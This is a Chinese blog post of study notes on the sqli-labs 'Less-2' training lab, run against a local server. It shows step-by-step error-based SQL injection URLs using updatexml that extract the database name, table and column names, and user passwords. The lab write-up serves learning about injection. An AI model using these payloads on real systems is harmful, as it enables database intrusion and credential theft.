博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL练习(less-2)报错注入
阅读量:2061 次
发布时间:2019-04-29

本文共 934 字,大约阅读时间需要 3 分钟。

本文为学习笔记,仅限学习交流

不得利用、从事危害国家或人民安全、荣誉和利益等活动

固定格式: Updatexml(1,concat(0×7e,b)

Updatexml(a,Xpath,b) 在文档a中,查找 Xpath 格式的内容 替换 b内容
Conact(a,b,c,…) 用来连接括号内的字符串

构造语句:union select updatexml(1,concat(0x7e,select database(),0x7e),1)

http://127.0.0.1/sqli/Less-2/index.php?id=1’

在这里插入图片描述
爆出数据库名:
http://127.0.0.1/sqli/Less-2/index.php?id=1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
在这里插入图片描述
爆出当前数据库下的表名:
http://127.0.0.1/sqli/Less-2/index.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =‘security’),0x7e),1) %23
在这里插入图片描述
爆出users表的字段
http://127.0.0.1/sqli/Less-2/index.php?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name)frominformation_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)%23
在这里插入图片描述
爆出账户名密码:
http://127.0.0.1/sql/Less-2/index.php?id=-1and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) %23
在这里插入图片描述
完成!

转载地址:http://nzmlf.baihongyu.com/

你可能感兴趣的文章
Linux下查看根目录各文件内存占用情况
查看>>
A星算法详解(个人认为最详细,最通俗易懂的一个版本)
查看>>
利用栈实现DFS
查看>>
逆序对的数量(递归+归并思想)
查看>>
数的范围(二分查找上下界)
查看>>
算法导论阅读顺序
查看>>
Windows程序设计:直线绘制
查看>>
linux之CentOS下文件解压方式
查看>>
Django字段的创建并连接MYSQL
查看>>
div标签布局的使用
查看>>
HTML中表格的使用
查看>>
(模板 重要)Tarjan算法解决LCA问题(PAT 1151 LCA in a Binary Tree)
查看>>
(PAT 1154) Vertex Coloring (图的广度优先遍历)
查看>>
(PAT 1115) Counting Nodes in a BST (二叉查找树-统计指定层元素个数)
查看>>
(PAT 1143) Lowest Common Ancestor (二叉查找树的LCA)
查看>>
(PAT 1061) Dating (字符串处理)
查看>>
(PAT 1118) Birds in Forest (并查集)
查看>>
数据结构 拓扑排序
查看>>
(PAT 1040) Longest Symmetric String (DP-最长回文子串)
查看>>
(PAT 1145) Hashing - Average Search Time (哈希表冲突处理)
查看>>